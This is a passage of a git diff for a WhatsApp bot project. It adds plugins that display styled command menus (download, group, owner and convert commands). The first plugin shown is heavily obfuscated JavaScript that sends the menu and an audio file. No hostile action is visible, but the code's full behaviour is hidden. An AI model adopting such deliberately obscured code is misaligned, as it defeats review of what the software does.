แด‡*\x0aโ€Ž'+_0x58b207(0xde,0x67,0xe6,0x18b)+'แด„*\x0aโ€Ž*โ”‹*\x20*โฌก'+_0x4f43cf(0x439,0x577,0x4e8,0x5af)+_0x58b207(0x19,0x103,0x3e,-0x3f)+_0x4f43cf(0x52f,0x3ef,0x4a4,0x49c)+_0x4f43cf(0x3b2,0x4a9,0x415,0x3c8)+'OUP-CMD`\x20๐Ÿช€'+_0x58b207(0x68,-0x53,-0xd,0xb8)+'โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€'+_0x4f43cf(0x3cc,0x40e,0x44f,0x516)+_0x58b207(0x115,0xe9,0x16a,0x13e)+_0x4f43cf(0x420,0x522,0x4d4,0x59b)+'แด…แด‡สŸแด‡แด›แด‡*\x0aโ€Ž*'+'โ”‹*\x20*โฌก\x20แด€แด…แด…*'+'\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด'+_0x58b207(0x1b8,0xf2,0xfe,0xeb)+_0x4f43cf(0x4dd,0x3d5,0x464,0x3a6)+_0x4f43cf(0x503,0x45b,0x4ae,0x3ef)+_0x58b207(-0xa2,-0x15,0x20,-0x4f)+'*โฌก\x20sแด‡แด›ษขแดแดแด…'+_0x58b207(0xd6,0xb6,0x107,0x16e)+_0x4f43cf(0x3b8,0x45d,0x3c8,0x37b)+_0x58b207(0x18,0x59,0x8c,0xb0)+'*โฌก\x20แด˜ส€แดแดแดแด›แด‡'+_0x58b207(0x119,0x17d,0x11b,0x1d4)+_0x58b207(0x8b,0x8,0x60,-0x47)+_0x4f43cf(0x343,0x404,0x39d,0x3c6)+_0x58b207(-0x22,0xd1,0x1c,-0xa6)+_0x4f43cf(0x518,0x44a,0x463,0x42c)+_0x4f43cf(0x3ff,0x3f5,0x46c,0x41c)+_0x4f43cf(0x483,0x3ae,0x3c9,0x3ea)+_0x58b207(0xc6,0x63,0x16,0x6e)+_0x4f43cf(0x52b,0x4ad,0x4d4,0x571)+_0x4f43cf(0x41a,0x4c6,0x43a,0x4fa)+_0x4f43cf(0x395,0x410,0x458,0x481)+_0x58b207(-0x3a,0x7f,0x4d,-0x3e)+'โฌก\x20แดŠแดษชษดส€แด‡วซแดœ'+_0x58b207(0x17,0x47,0x8b,0x14e)+_0x58b207(0xdb,0x14d,0x160,0xb0)+_0x58b207(0xeb,0x102,0x11b,0x11d)+_0x58b207(0x115,0xa3,0x13e,0x15b))+(_0x58b207(-0xb,-0x74,0x41,0x76)+_0x58b207(0xee,-0x8f,0x37,-0x75)+_0x58b207(0xdb,-0x33,0x27,0x84)+'*โฌก\x20สŸแดแด„แด‹ษขแด„*'+_0x4f43cf(0x588,0x4c3,0x4e7,0x4d7)+_0x4f43cf(0x555,0x5c1,0x504,0x44d)+_0x58b207(0x1c1,0x18f,0x147,0xfc)+_0x58b207(0x147,0x77,0x117,0x89)+_0x58b207(0x41,0x20,0x74,0x17)+_0x4f43cf(0x59d,0x4a3,0x4f3,0x47d)+_0x58b207(-0xc,0x8e,0x36,0xed)+_0x4f43cf(0x54e,0x3fb,0x4be,0x441)+_0x58b207(0x13e,0xc5,0xfb,0xad)+_0x58b207(0xdc,0xa5,0x14d,0x174)+_0x4f43cf(0x361,0x365,0x3b2,0x32f)+'*\x20*โฌก\x20ษขษชษดา“แด'+_0x4f43cf(0x467,0x322,0x3ba,0x402)+_0x4f43cf(0x497,0x567,0x4a4,0x476)+_0x58b207(0x71,0x6e,0x48,-0x72)+_0x4f43cf(0x449,0x3c4,0x449,0x4ff)+'MD`\x20๐Ÿชผ*\x0aโ€Ž*โ•ญ'+_0x58b207(0x37,0x13a,0xeb,0xaf)+_0x58b207(0xab,0xd2,0x13f,0x1cc)+_0x58b207(0x101,0xec,0xcc,0x97)+'แด‡แด€ส€แด›*\x0aโ€Ž*โ”‹*'+'\x20*โฌก\x20ษดษชแด‹แด€สŸ*'+_0x4f43cf(0x468,0x4c0,0x520,0x494)+_0x4f43cf(0x372,0x406,0x3ca,0x465)+_0x58b207(0x8c,0xb1,0x24,0xba)+_0x58b207(0x99,0x65,0x11b,0x9d)+_0x58b207(0x17b,0x12,0xba,0x85)+'*\x20*โฌก\x20แดแดแดษด*'+_0x58b207(0xd1,0x13a,0x14f,0xa6)+_0x4f43cf(0x3b1,0x42e,0x472,0x3d2)+_0x4f43cf(0x47a,0x473,0x403,0x454)+'แด˜ส*\x0aโ€Ž*โ”‹*\x20*'+'โฌก\x20แด€ษดษขส€ส*\x0aโ€Ž'+'*โ”‹*\x20*โฌก\x20sแด€แด…'+_0x4f43cf(0x420,0x55c,0x4d4,0x4e7)+_0x4f43cf(0x4bb,0x57c,0x4e0,0x4e4)+'*โฌก\x20๊œฑสœแด€แด˜แด€ส€*'+_0x58b207(0x1c0,0x15e,0x162,0x189)+_0x4f43cf(0x415,0x414,0x457,0x462)+_0x4f43cf(0x4e8,0x531,0x4f5,0x46d)+_0x58b207(0x116,0xaf,0x5f,0x108)+_0x4f43cf(0x3eb,0x47e,0x442,0x3d7)+_0x4f43cf(0x43e,0x4dc,0x433,0x4f5)+'โ”‹*\x20*โฌก\x20แด‹ษช๊œฑ๊œฑ'+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+_0x4f43cf(0x3e8,0x4ee,0x493,0x4bc)+_0x4f43cf(0x538,0x4d6,0x4af,0x3f1)+_0x4f43cf(0x510,0x4fa,0x4d4,0x549)+_0x58b207(0x188,0x19b,0x15a,0x220)+'*\x20*โฌก\x20๊œฑแดษชสŸแด‡'+_0x58b207(0x11b,0x1ba,0x11b,0xa5)+_0x58b207(0x107,0xd7,0x130,0xfb)+_0x4f43cf(0x416,0x4fe,0x482,0x420)+_0x4f43cf(0x422,0x420,0x42b,0x4b7)+_0x4f43cf(0x386,0x3ad,0x3c2,0x3cf)+_0x58b207(-0xa1,-0xf,-0x12,0xa3)+_0x58b207(0x14e,0x1d1,0x11b,0x138)+_0x58b207(0x116,0x18f,0x12c,0x138)+_0x58b207(0x64,0x111,0x79,-0x5)+_0x58b207(0x198,0xbf,0x11b,0x174)+_0x58b207(0xd6,0x7d,0x135,0xec)+_0x58b207(0x11b,0x118,0x9a,-0x29)+_0x4f43cf(0x44e,0x519,0x4d4,0x4df)+_0x4f43cf(0x32c,0x3f7,0x3d7,0x454)+_0x58b207(-0xb8,-0xa6,-0x1b,0x7c)+_0x58b207(-0x68,-0x62,0x5b,-0x45)+_0x58b207(0xed,-0x22,0x9d,-0x27)+'*\x20*โฌก\x20sแด€แด…*\x0a'+_0x58b207(0x132,0xc3,0x169,0x18d)+'ษขส€ส*\x0aโ€Ž*โ”‹*\x20'+'*โฌก\x20สœแด€แด˜แด˜ส*\x0a'+_0x58b207(0x12d,0xaf,0x6f,-0x4c)+_0x4f43cf(0x59a,0x561,0x515,0x595)+'*โฌก\x20แด„แดษดา“แดœsแด‡'+_0x58b207(0x1ba,0x1ca,0x110,0x124)+_0x58b207(-0x52,-0x13,-0x1,0x66)+_0x4f43cf(0x388,0x35a,0x3de,0x432)+_0x4f43cf(0x561,0x432,0x4da,0x4b4)+_0x4f43cf(0x44d,0x412,0x3fe,0x447)+_0x58b207(0x37,0x2b,0xeb,0x90)+_0x4f43cf(0x303,0x463,0x3b6,0x40f)+'`CONVERTER'+_0x4f43cf(0x4d4,0x45d,0x516,0x4c6)+_0x58b207(0x153,0xdf,0x11e,0x16a)+_0x58b207(0x172,0x141,0xeb,0x13c)+_0x4f43cf(0x4a7,0x411,0x44b,0x492)+_0x58b207(0xa1,0x1c3,0x153,0x20d)+_0x58b207(0x138,0x1dc,0x11b,0x1c4)+'แด›ส€แด›*\x0aโ€Ž*โ”‹*\x20'+'*โฌก\x20แด›แดษชแดแด€ษขแด‡'+_0x58b207(0x1ba,0x1dc,0x11b,0x1b1)+'แด›แด›s*\x0aโ€Ž*โ”‹*\x20'+'*โฌก\x20๊œฐแด€ษดแด„ส*\x0a'+_0x4f43cf(0x3cf,0x362,0x3af,0x36e)+_0x58b207(0x20,0x89,0x7d,0x73)+_0x4f43cf(0x536,0x45c,0x4ba,0x4a1))+('โ”‹*\x20*โฌก\x20แด„แดแดแด˜'+'แด€แด›ษชส™ษชสŸษชแด›ส*'+_0x4f43cf(0x4f2,0x47c,0x47e,0x516)+_0x58b207(0xb4,0x13a,0x97,0x7e)+_0x4f43cf(0x355,0x4c3,0x40e,0x46c)+'แด˜สŸษชแดแด‡ษดแด›*\x0aโ€Ž'+_0x4f43cf(0x56c,0x447,0x4e3,0x54f)+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+_0x4f43cf(0x4de,0x4d1,0x4ec,0x4b8)+_0x4f43cf(0x5c6,0x4e1,0x503,0x448)+_0x4f43cf(0x3c9,0x4b0,0x462,0x45a)+_0x4f43cf(0x442,0x3d0,0x3c0,0x453)+_0x4f43cf(0x4d0,0x530,0x4d5,0x4ca)+_0x58b207(0x65,-0x2a,-0xc,-0x2a)+_0x4f43cf(0x487,0x3b9,0x44e,0x50f)+_0x4f43cf(0x43a,0x460,0x47b,0x51c)+'โฌก\x20แด s*\x0aโ€Ž*โ”‹*'+_0x58b207(0x14c,0x193,0xd4,0x70)+_0x58b207(0xcd,0x133,0x128,0x9e)+_0x58b207(0x94,-0x5a,-0x9,-0x74)+'*โฌก\x20แด„แดษดแด แด‡ส€แด›'+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+'แด›แดแดแด˜๐Ÿน*\x0aโ€Ž*โ”‹'+'*\x20*โฌก\x20า“แดส€แดกแด€'+_0x4f43cf(0x357,0x403,0x3c7,0x3d8)+_0x4f43cf(0x520,0x467,0x517,0x5a0)+'\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด›'+_0x4f43cf(0x3c8,0x3dd,0x40b,0x389)+_0x58b207(0x172,0x8a,0xeb,0x56)+_0x58b207(0x3e,0x1c,0x2e,-0x2d)+_0x4f43cf(0x5bb,0x46f,0x514,0x4f4)+'CMD`\x20๐Ÿชพ*\x0aโ€Ž*'+_0x4f43cf(0x429,0x444,0x448,0x38f)+_0x58b207(0x62,0x1c9,0x125,0xd9)+_0x4f43cf(0x4a4,0x434,0x4d4,0x4d4)+_0x58b207(0x108,0x17,0xa8,0x106)+'โ€Ž*โ”‹*\x20*โฌก\x20ษขแด‡'+_0x4f43cf(0x40c,0x3d7,0x49d,0x557)+'\x20*โฌก\x20ส™สŸแดแด„แด‹สŸ'+_0x58b207(0xf6,0x41,0x82,-0x30)+'*โฌก\x20แดœแด˜แด…แด€แด›แด‡ส™'+_0x58b207(0x125,0xda,0x114,0xee)+_0x4f43cf(0x52a,0x3b3,0x47a,0x43d)+_0x4f43cf(0x485,0x57d,0x509,0x552)+'\x20sแด‡แด›แดษดสŸษชษดแด‡'+_0x58b207(0x16e,0x163,0x11b,0x1b2)+'ษขส€แดแดœแด˜sแด˜ส€ษชแด '+_0x4f43cf(0x47d,0x489,0x4c3,0x578)+_0x4f43cf(0x418,0x48a,0x435,0x3c5)+_0x58b207(-0x2d,0x140,0x86,-0x32)+'ส\x20แด€สŸสŸ*\x0aโ€Ž*โ”‹'+_0x58b207(-0x1f,0x6b,0x1f,-0x24)+_0x58b207(0x48,0xe4,0x3c,0x5c)+_0x58b207(0x47,0x88,-0x17,-0xb3)+_0x58b207(0x83,0xad,0x75,0xc1)+_0x4f43cf(0x491,0x443,0x402,0x48c)+_0x58b207(-0x34,0x91,0x2f,0xa3)+_0x4f43cf(0x2ee,0x358,0x39b,0x3f6)+'\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด…'+_0x58b207(0xe5,0x133,0x143,0xcf)+_0x58b207(-0x55,-0x98,0x5,-0x9c)+_0x4f43cf(0x48e,0x3f1,0x498,0x46a)+'ส€\x20๐Ÿฝแด…\x20๐Ÿธ๐Ÿบสœ\x20๐Ÿฟ'+_0x4f43cf(0x442,0x589,0x4fa,0x525)+_0x4f43cf(0x468,0x44b,0x4bd,0x4d8)+_0x58b207(0x7,-0x60,0x3e,-0x3c)+_0x58b207(0x64,0x101,0xeb,0x144)+'โ”€โœ‘*\x0a*๐ŸซŸ\x20`IN'+'FO-CMD`\x20๐ŸซŸ*'+_0x4f43cf(0x336,0x34a,0x3a0,0x467)+_0x4f43cf(0x4ed,0x456,0x4a4,0x43c)+'โ”€โ”€โ”€โœ‘*\x0aโ€Ž*โ”‹*'+'\x20*โฌก\x20แด€ส™แดแดœแด›*'+_0x58b207(0x74,0x158,0x11f,0x1a9)+_0x58b207(-0xcf,0x8c,-0x22,0x37)+'\x20*โฌก\x20ส™แดแด›ษชษด๊œฐ'+_0x4f43cf(0x394,0x40d,0x420,0x4b9)+_0x58b207(0x159,0x1be,0x136,0x17e)+_0x4f43cf(0x570,0x45d,0x501,0x46c)+_0x58b207(-0x6e,0x6b,0x43,-0x5a)+_0x58b207(-0x74,-0xae,0xd,-0x9b)+_0x58b207(0x97,-0x47,0x6e,-0x42)+'ษดแดแดก*\x0aโ€Ž*โ”‹*\x20'+_0x4f43cf(0x45d,0x3ee,0x40d,0x380)+_0x58b207(0x178,0xf4,0xb2,0xb3)+_0x58b207(0xb8,0x7f,0x139,0x1c5)+'\x20*โฌก\x20แดแดแด›ษชแด แด€'+_0x4f43cf(0x4de,0x4af,0x51c,0x47a)+_0x58b207(-0xd,-0x4c,0x76,0x9e)+_0x4f43cf(0x51b,0x4eb,0x466,0x4ef)+_0x4f43cf(0x470,0x3e7,0x494,0x4ca)+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+_0x4f43cf(0x31e,0x3b3,0x3bd,0x38d)+_0x58b207(0x75,-0x23,0x8e,0x135)+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+_0x58b207(0x91,-0x6f,0x22,0xae)+_0x4f43cf(0x4d0,0x4fd,0x4b6,0x438)+_0x4f43cf(0x496,0x4d2,0x4f0,0x5ac)+'\x20๊œฑส๊œฑแด›แด‡แด*\x0aโ€Ž'+'*โ”‹*\x20*โฌก\x20แด แด‡ส€')+(_0x4f43cf(0x5bd,0x5e5,0x51e,0x4a7)+'\x20*โฌก\x20ส€แด‡แด˜แด*\x0a'+'โ€Ž*โ”‹*\x20*โฌก\x20แดแด‡'+'ษดแดœ*\x0aโ€Ž*โ”‹*\x20*'+_0x4f43cf(0x468,0x4d9,0x424,0x38f)+'*โ”‹*\x20*โฌก\x20แดแด‡ษด'+'แดœ3*\x0aโ€Ž*โ”‹*\x20*'+_0x4f43cf(0x3cc,0x395,0x417,0x4a4)+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+'า“แด€แดษชสŸส*\x0aโ€Ž*'+_0x58b207(0x17,0x7d,-0x10,-0x5)+'ษดแด‡สŸ*\x0aโ€Ž*โ”‹*\x20'+_0x4f43cf(0x55e,0x546,0x4cf,0x436)+_0x58b207(0xf1,0xb7,0x11b,0x89)+'แด‡xแดส€*\x0aโ€Ž*โ”‹*'+'\x20*โฌก\x20แด˜ส€แดแดแดแด›'+_0x4f43cf(0x3b0,0x380,0x400,0x426)+_0x4f43cf(0x416,0x43b,0x468,0x50d)+'โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โœ‘'+_0x4f43cf(0x4df,0x49f,0x44c,0x38c)+'OM-CMD`\x20๐Ÿช„*'+'\x20\x0aโ€Ž*โ•ญโ”€โ”€โ”€โ”€โ”€'+'โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€'+_0x4f43cf(0x4bc,0x4f8,0x44f,0x40a)+_0x4f43cf(0x4b0,0x455,0x434,0x477)+_0x58b207(0x13a,0x123,0x13d,0x171)+_0x58b207(0x1c7,0x102,0x124,0xe4)+_0x4f43cf(0x487,0x55f,0x508,0x587)+'แดษชษด๊œฐสŸษชแด˜๐Ÿช™*\x0a'+'*โ”‹*\x20*โฌก\x20แด˜ษชแด„'+_0x58b207(0x1e9,0x10f,0x13b,0xc1)+'\x20sสœษชแด˜*\x0aโ€Ž*โ”‹'+'*\x20*โฌก\x20ส™แด€แด„สœษช'+_0x4f43cf(0x568,0x4a5,0x4d4,0x4e4)+_0x58b207(0x8c,0x112,0x4b,0xcb)+_0x58b207(0x227,0xce,0x162,0x20e)+_0x58b207(0xb5,-0x32,0x61,-0x29)+_0x4f43cf(0x37e,0x449,0x3e4,0x380)+_0x58b207(0x2e,-0x32,0x46,0x4)+'โฌก\x20แด„แด€แด›*\x0aโ€Ž*โ”‹'+_0x4f43cf(0x346,0x3a0,0x3d2,0x43f)+_0x4f43cf(0x31c,0x314,0x3cd,0x431)+_0x58b207(-0x14,0x85,0x20,-0x1a)+_0x4f43cf(0x558,0x452,0x4a1,0x4ca)+_0x4f43cf(0x3ee,0x3a6,0x425,0x468)+_0x4f43cf(0x450,0x42e,0x3fd,0x47d)+_0x58b207(-0xe2,0x95,-0x1d,0x8)+_0x58b207(0x4c,0x153,0xf8,0x4a)+_0x58b207(-0x3b,-0x16,-0xb,0x8c)+'ษชแด›สœแดœส™*\x0aโ€Ž*โ”‹'+_0x58b207(0xe2,0x1c2,0xfc,0x4b)+_0x58b207(0x104,0xa9,0x11b,0x130)+_0x4f43cf(0x440,0x388,0x43d,0x3eb)+_0x4f43cf(0x49d,0x462,0x4ed,0x519)+_0x4f43cf(0x3a7,0x3ac,0x451,0x4c4)+_0x4f43cf(0x3f6,0x402,0x429,0x45e)+_0x4f43cf(0x52b,0x55e,0x4c8,0x54c)+_0x4f43cf(0x3e1,0x526,0x467,0x427)+_0x58b207(0x4c,0xed,0xf1,0x9a)+_0x58b207(0xec,0x79,0x59,-0x60)+'โ”‹*\x20*โฌก\x20แด›ษชแดแด‡'+_0x4f43cf(0x495,0x4cc,0x4c4,0x4e0)+_0x4f43cf(0x484,0x529,0x484,0x4fe)+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+_0x58b207(-0x39,0x31,0x1a,-0x45)+_0x4f43cf(0x553,0x498,0x4fd,0x584)+_0x58b207(-0x38,0x95,0x64,0x64)+_0x4f43cf(0x39e,0x419,0x3ce,0x339)+_0x4f43cf(0x328,0x3ac,0x3a1,0x3e8)+_0x4f43cf(0x434,0x480,0x468,0x4d3)+_0x58b207(0x184,0x147,0x125,0x63)+_0x4f43cf(0x469,0x529,0x510,0x594)+_0x4f43cf(0x4ed,0x4e6,0x50d,0x553)+'\x20๊ชฎา“\x20แด€๊œฑ\x20๐Ÿ‰*'));const _0x37702d={};_0x37702d[_0x58b207(0xf5,0x33,0xa1,0x15e)]=config[_0x58b207(0xec,0xfa,0xec,0x84)];const _0x12a8fe={};_0x12a8fe['newsletter'+_0x58b207(0x82,0xae,0xd0,0x172)]=_0x50984a['aCmPv'],_0x12a8fe[_0x58b207(0x7,0x5b,0xc,-0x85)+'Name']=config['BOT_NAME'],_0x12a8fe['serverMess'+'ageId']=0x3e7;const _0x287002={};_0x287002['mentionedJ'+'id']=[_0x442563['sender']],_0x287002[_0x4f43cf(0x47e,0x5a0,0x4db,0x4b0)+_0x58b207(0xdc,-0x32,0x32,0x73)]=0x3e7,_0x287002['isForwarde'+'d']=!![],_0x287002[_0x58b207(-0x5,-0x4,0x9c,0x143)+_0x58b207(0xe9,0x142,0x108,0x176)+_0x4f43cf(0x42e,0x3c2,0x43e,0x3cb)]=_0x12a8fe;const _0x3c65dc={};_0x3c65dc[_0x4f43cf(0x451,0x46e,0x40a,0x3f1)]=_0x37702d,_0x3c65dc[_0x4f43cf(0x44e,0x4c9,0x47d,0x47d)]=_0x44dc40,_0x3c65dc[_0x58b207(0x7b,0x1c,0x56,0xe7)+'o']=_0x287002;const _0x4b5e43={};_0x4b5e43[_0x4f43cf(0x420,0x439,0x3d1,0x480)]=_0x706219,await _0x407b53['sendMessag'+'e'](_0x265eec,_0x3c65dc,_0x4b5e43);const _0x3c8011={};_0x3c8011['url']='https://fi'+_0x58b207(-0x14,0x5a,0x57,0x105)+_0x58b207(0x16f,0x2,0xbe,0x161)+_0x58b207(0x101,0x1e,0x7e,0xa);const _0x4770e5={};_0x4770e5[_0x58b207(0x187,0x19b,0xef,0xbe)]=_0x3c8011,_0x4770e5['mimetype']=_0x50984a['RMKfg'],_0x4770e5[_0x58b207(0x47,-0xb2,-0x2,-0x20)]=!![];const _0x32b8e6={};_0x32b8e6['quoted']=_0x706219,await _0x407b53[_0x58b207(0x55,-0x6,0x39,-0x1)+'e'](_0x265eec,_0x4770e5,_0x32b8e6);}catch(_0x3fc620){console['log'](_0x3fc620),_0x50984a[_0x4f43cf(0x3fa,0x467,0x47c,0x449)](_0x55b659,''+_0x3fc620);}}); diff --git a/plugins/menu2.js b/plugins/menu2.js new file mode 100644 index 0000000000000000000000000000000000000000..418958afb3b3c0c55a3597dd008c3d221aa12dbc --- /dev/null +++ b/plugins/menu2.js @@ -0,0 +1,111 @@ +/*created by Kgtech ๐Ÿ•ต +contact dev1 237656520674 โ™ป๏ธ +contact dev2 237650564445 โ™ป๏ธ +ยฉ Copy coder alert โš  +*/ + + + + + +const config = require('../config') +const {cmd , commands} = require('../command') +cmd({ + pattern: "menu2", + react: "๐Ÿ‘พ", + desc: "get cmd list", + category: "main", + filename: __filename +}, +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +let menu = { +main: '', +download: '', +group: '', +owner: '', +convert: '', +search: '' +}; + +for (let i = 0; i < commands.length; i++) { +if (commands[i].pattern && !commands[i].dontAddCommandList) { +menu[commands[i].category] += `*โ”‹* ${commands[i].pattern}\n`; + } +} + +let madeMenu = `*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’โ โ โ โ * + +*โ‡† สœษช แดส แด…แด‡แด€ส€ า“ส€ษชแด‡ษดแด… โ‡†* + + *${pushname}* + +*โ”•โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’* + +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” + *แดกแด‡สŸแด„แดแดแด‡ แด›แด แด€สŸษช-แดแด…-แด 1 า“แดœสŸสŸ แด„แดแดแดแด€ษดแด… สŸษชsแด›* +โ”—โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” + +*แด„ส€แด‡แด€แด›แด‡แด… ส™ส แด€สŸษช๐Ÿ‘จ๐Ÿปโ€๐Ÿ’ป* + + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’โ โ โ โ * +*โ”‚* *โ‚แด…แดแดกษดสŸแดแด€แด… แด„แดแดแดแด€ษดแด…sโ‚* +*โ”•โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’* +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +${menu.download} +*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’โ โ โ โ * +*โ”‚* *โ‚แดแด€ษชษด แด„แดแดแดแด€ษดแด…sโ‚* +*โ”•โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’* +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +${menu.main} +*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’โ โ โ โ * +*โ”‚* *โ‚ษขส€แดแดœแด˜ แด„แดแดแดแด€ษดแด…sโ‚* +*โ”•โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +${menu.group} +*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’โ โ โ โ * +*โ”‚* *โ‚แดแดกษดแด‡ส€ แด„แดแดแดแด€ษดแด…sโ‚* +*โ”•โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +${menu.owner} +*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’โ โ โ โ * +*โ”‚* *โ‚แด„แดษดแด แด‡ส€แด› แด„แดแดแดแด€ษดแด…sโ‚* +*โ”•โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +${menu.convert} +*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’โ โ โ โ * +*โ”‚* *โ‚sแด‡แด€ส€แด„สœ แด„แดแดแดแด€ษดแด…sโ‚* +*โ”•โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ’* + +*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* +${menu.search} +*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ* + +*โ’โ โ โ โ โ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ’*โ โ โ โ  + +> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช๐Ÿ* + +โ•ฐโ”โ โ•โ•โ• โƒโ€ขโ‡†โ€ขโƒ โ•โ•โ• โโ”โ•ฏ +` + +await conn.sendMessage(from,{image:{url:config.ALIVE_IMG},caption:madeMenu},{quoted:mek}) + +}catch(e){ +console.log(e) +reply(`${e}`) +} +}) diff --git a/plugins/menu3.js b/plugins/menu3.js new file mode 100644 index 0000000000000000000000000000000000000000..63d978afd1841e778a55318f126f48f1e7d8e37f --- /dev/null +++ b/plugins/menu3.js @@ -0,0 +1,179 @@ + + + + + +const config = require('../config') +const {cmd , commands} = require('../command') +cmd({ + + pattern: "menu3", + + react: "๐ŸŠ", + + alias: ["panel","list","commands"], + + desc: "Get bot\'s command list.", + + category: "main", + + use: '.menu3', + + filename: __filename + +}, + +async(conn, mek, m,{from, l, quoted, body, isCmd, umarmd, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { + +try{ +let madeMenu = `โ โ•โ•โ•โ• โƒโ€ขโ—ฏโ€ขโƒ โ•โ•โ•โ• โ + +*โ‡† สœษชษช แดส แด…แด‡แด€ส€ า“ส€ษชแด‡ษดแด… โ‡†* + + *${pushname}* + +โ โ•โ•โ•โ• โƒโ€ขโ—ฏโ€ขโƒ โ•โ•โ•โ• โ + +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” + *แดกแด‡สŸแด„แดแดแด‡ แด›แด แด€สŸษช-แดแด…-แด 1 า“แดœสŸสŸ แด„แดแดแดแด€ษดแด… สŸษชsแด›* +โ”—โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” + +*แด„ส€แด‡แด€แด›แด‡แด… ส™ส แด€สŸษช๐Ÿ‘จ๐Ÿปโ€๐Ÿ’ป* + + +*โ•ญโ”€โ”€โฎ DOWNLOAD COMMANDS โฏ* +โ”‚ +โ”‚๐Ÿ“– COMMAND: .play +โ”‚โ„น๏ธ Download Audio from yt +โ”‚ +โ”‚๐Ÿ“– COMMAND: .song +โ”‚โ„น๏ธ Download song from yt +โ”‚ +โ”‚๐Ÿ“– COMMAND: .apk +โ”‚โ„น๏ธ Download apk from playstore +โ”‚ +โ”‚๐Ÿ“– COMMAND: .video +โ”‚โ„น๏ธ Download video from yt +โ”‚ +โ”‚๐Ÿ“– COMMAND: .fb +โ”‚โ„น๏ธ Download video from fb +โ”‚ +โ”‚๐Ÿ“– COMMAND: .tk +โ”‚โ„น๏ธ Download video from tiktok +โ”‚ 